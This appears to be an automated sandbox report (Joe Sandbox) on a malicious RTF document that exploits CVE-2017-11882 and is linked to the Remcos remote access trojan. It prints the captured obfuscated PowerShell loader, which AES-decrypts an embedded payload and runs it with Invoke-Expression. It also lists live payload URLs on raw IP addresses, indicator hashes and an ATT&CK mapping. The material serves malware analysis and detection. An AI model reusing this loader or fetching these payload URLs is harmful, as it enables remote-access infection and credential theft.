daajuhcq27lhvzkyqvajhd3kdvjqboif1lyyay52jn1dhnhxgk0nluzd0ilxehvzphlaveococd50uqj+q1kgxn7gs2k+zoaxgamsw9oubovylc2v04rd098/as2deb2//qhwxg3f0c50kqyp4qow398pqnbg4m4pjz0uidlflekkdinqrkxq/drvpvbwz7wrubde9f6yxo/vtkm0dgir+udwiy0ewc9hpu+mklp45fqh0pc7vys3chou8e4fmalluve4yfg==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni68766530954276373206247047974663cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnidslzbgrjpnz/qocg/lh2azhz5jl+3cjsg1p/+zzqrclxm6erqs615j4odskigveu9u0hkzwe2qlrhn3w3opnp9d3zrr0bjwddoahuyflsijmtaivmvqnjehi75gyn/731w2sw2lx9repuu8muzzbpukpdjjp40wnuy5rxupjozqj2ijhllwplewavlyyam2ryxj+az147db0x48wxphj1wzixorwhgaboawwaslahl3gmvyt1axv7fbfes5qqtebxgfvlhl4iuznyv88w0lkeiougnbeqfkzf13dc0iby1tfcgdbd33i0q+w2tvg+5qcsydt39hgqc+cpqjw6i+zs5pdayxmrwfx6shzxh4wqvwv1psllbl05m+vuyyzdwhee1jjzk1iypj679fiitnjuqbp5xka/o9mfqdn8rr6+t3w5uz8/qzmhx1mvroeqqe9sfqxrdm4xzld6zm0xvtyxdiptorir9y56wywilgvowzc7rtlcr5vnoqsqcez+tbuh3i8j+drjxqv5li4wpy7xjzfyzpapmswdqejc1bmnxhvq0ukf2im7ffm7k6nze4qwdaby3eaeqabrjji8e0i57j7cmed36tsjyhf0u03e/7/3gwxhiosnvfstql9ychnne0mcqphtsif3pxt9ee9ulz//7yh3sp7zqked24zy6bopjqu9ryt/0qhb2cgoa9ddgikpiavuisszwbmmvp3wzazgxn3nbcy0pstnp16fjfpslfxhda3ns1dtwajq0lidem77ug2ki38ej/rruke9qgo+fuhe0xcht8/wf5nvyoxrcasifgam2a+woxlafenmbr8szgcpcgnpzl/ngn6ossardn26lo+fp2jr2c/5yc3mcao0ld51wdewkzwp8b1w57wqs7gmmfayz4qaxwbt0dpwxcdt4ldwrwotfjthkkrsrb29mx+zsitgjd4zwlyp4xgkn+mdlt0rpmqdazm0hkrfyo5dxlrzhslsw0xcn3euxi+4932vgm0qse+1k4quce5wqthb1zojkshclz3bmuvcdowmedkxuqxkg7dtjdx8uvansaeltrbqenfoyu9ewmyi9lzkr9oznps+cohzr5jhq9hpvtmcsoldartighzy80sqmosagvigdyoyjgpnwduzlldye8nyqdaajuhcq27lhvzkyqvajhd3kdvjqboif1lyyay52jn1dhnhxgk0nluzd0ilxehvzphlaveococd50uqj+q1kgxn7gs2k+zoaxgamsw9oubovylc2v04rd098/as2deb2//qhwxg3f0c50kqyp4qow398pqnbg4m4pjz0uidlflekkdinqrkxq/drvpvbwz7wrubde9f6yxo/vtkm0dgir+udwiy0ewc9hpu+mklp45fqh0pc7vys3chou8e4fmalluve4yfg==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	211 Command and Scripting Interpreter	121 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	42 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IFqsFpijFt.rtf	49%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
IFqsFpijFt.rtf	100%	Avira	HEUR/Rtf.Malformed

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://192.3.176.174	0%	Avira URL Cloud	safe
http://192.3.176.174/60/WDER.txt	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIFj	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIFZ	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
http://198.46.176.133	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIF	100%	Avira URL Cloud	malware
http://192.3.176.174/60/creatednewwaterbottleforme.gIFN	0%	Avira URL Cloud	safe
http://192.3.176.174/60/creatednewwaterbottleforme.gIFC:	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://192.3.176.174/60/WDER.txt	true	Avira URL Cloud: safe	unknown
http://198.46.176.133/Upload/vbs.jpeg	false	Avira URL Cloud: malware	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIF	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://192.3.176.174	powershell.exe, 00000006.00000002.374537224.0000000009261000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIFZ	EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIFN	EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIFj	EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.369896642.0000000002281000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.174/60/creatednewwaterbottleforme.gIFC:	EQNEDT32.EXE, 00000002.00000002.353856869.0000000000950000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.46.176.133	powershell.exe, 00000006.00000002.369896642.00000000023BB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.3.176.174	unknown	United States		36352	AS-COLOCROSSINGUS	true
198.46.176.133	unknown	United States		36352	AS-COLOCROSSINGUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483061
Start date and time:	2024-07-26 15:24:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IFqsFpijFt.rtf renamed because original name is a hash value
Original Sample Name:	e03f3290788de4d7a103f16b780b3cce.rtf
Detection:	MAL
Classification:	mal100.troj.expl.evad.winRTF@9/13@0/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 80% Number of executed functions: 14 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 1200 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: IFqsFpijFt.rtf

Simulations

Behavior and APIs

Time	Type	Description
09:24:56	API Interceptor	294x Sleep call for process: EQNEDT32.EXE modified
09:24:58	API Interceptor	25x Sleep call for process: wscript.exe modified
09:24:59	API Interceptor	24x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.176.174	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	192.3.176.174/60/WDER.txt
198.46.176.133	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	erthings.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	createdgoodthingswtihmewhilealot.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133/Upload/vbs.jpeg

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	192.3.101.142
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
AS-COLOCROSSINGUS	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.101.142
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	192.3.101.142
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	192.227.225.166
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewwaterbottleforme[1].gif

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	419812
Entropy (8bit):	3.5814445916859183
Encrypted:	false
SSDEEP:	3072:FHGhwf2YFbhNe4VTdRnTT8w4TW7HqOOgVpp20KeLS7lixg36t+v4pNdS7ES:0wf2YFZHqf
MD5:	94734CB139B6B9025FD8A1ACC56027DB
SHA1:	B385368BCAADACA073849A413660B68E690FFBA5
SHA-256:	7DDE4D5F845DBB2A078F6D0A290472D22CC845C6D6927CC0ADA645CE050C7B08
SHA-512:	58E0064F4B304B5503C4A7E689D96CC62BAC4BC8EE76D39FEDE408B9E777B9602334DAD4E1570FA0B9E0C363E7D8EE419A41D4DA02493D174D61F96ACCA4053F
Malicious:	false
Reputation:	low
Preview:	..d.i.m. .p.l.a.t.i.n.a.m.i.n.a. .....p.l.a.t.i.n.a.m.i.n.a. .=. .m.e.l.e.a.n.t.e.....a.c.o.v.a.r.(.".m.a.r.a.n.h.a.r.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".d.r.u.p.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".i.n.d.i.g.e.n.a.t.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.u.l.h.e.r.i.n.h.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".a.n.t.r.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.a.s.c.a.r.a.d.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".L._.H.e.l.p.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A9BF2BF2-F847-49AF-BACD-EDF2979A02FC}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0ED1B18E-7F3E-4B54-BB44-3A68DE73D740}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{AB779709-A4B5-49C9-B0B6-D6F3AF511152}.tmp

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	3.5211173719664557
Encrypted:	false
SSDEEP:	192:dTnJeularzhuqHMd9wMa831d3A6IaJC9ywaYAFC5LfeRVINpGSqkNIre71fR832z:diYqB83Q6XDYAFC5L2RVThkNIru583E/
MD5:	04CB55191DFC7B5FBBA8219F5D743875
SHA1:	61B440EB8BAD82B3B9A222108BCD0B458C3BDBEA
SHA-256:	C260C4EF1491E3FA8180B21DF39141F89076249D4984E884CD7F5700D570F0DB
SHA-512:	29AD50BBB3EEB25E91B61AF04E3FCF97EE5C9AF2652F606420712DAC374E716E873CE0302759B6A2F054585692431C8D1564AF33F6CB7B60861D267E2092DD8F
Malicious:	false
Preview:	......4.3.6.0.9.0.5.4.`.?.:.`.'.1.=.].2.=.].6.5.6.[.~.8.\|.#._.@...0...%.).5.-.\|.8.,.9.,.`.!.`.5.>.@...>.^.>.<.<.`.6.^...~.?.~.<.;._.?.5...6.(.2...?.?.8.8.8.%.4./.&./.>.8.;.^.'.4.!.-.8...$.7.^.-.6.'..%.0.3.8.?.9.:.\|.)./.9.0.~.>.1.?.!./.].?.:.\|.5.4.&.?.(.!.).^.%...^.&.?.2.~.3.\|.3.(.\|.@.7.$.]..^.?.9.:.&.!.+.?.[...8.$.,.~.].$.&.!.9.2.~.#.7.6._.$.+.~._.8.../.8.^.0.?.?.?.!.8.?.@.6.%.@.-.%.'.(.8.^.%.(.;.~.8.?.,.?.4.1.,.9.(.6.@.%.3...[.:.6.#.?.$.&.4.^.?.].;.@.~..$.?.'.+.?.0.3.~.?.(.;.[.>.@.`.?.%.-.4.-.?.0..8.;...?...8.$.].^...!./.2...?.9...^.^.2.~.].;.....?.5.?...6.%...?.5.-./.^.\|.%...\|.%.@./...:.0.3.,.=.9.%.?...@...!.=.>.$.2.~.%.8.$.?...$.?.5.5.%.?.>...;...@.:.3.!.7.:.?.).?.~.@.?.4.1./.<.@./.&.?.(.2.#.?..<.1.,.?.`.]..,.1..^.1.!.;.6.%.7.+.].8.....?.8.9.5.?.1.0.,.%.(.?.\|.-.5.`.%...4.?.4.+.^.-.0.3.$.0.].#..%.~.-.5.).'.!.0.2...@.?.(.4.%.?...9.5.#...^.\|.?.3.%.[.9.4.7.=.2.?.$._...&.`.2...?.?.[.?.).(.)...;.<...;.?.?.'._.!.3.=.?...).:.5.=.*...]...=._.[.(.-.3.2.%...'.+.+.\|.9.?.5.?.^._...>.!.1.

C:\Users\user\AppData\Local\Temp\fnfjxeld.44a.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\omwm0kys.lbd.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\IFqsFpijFt.LNK

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
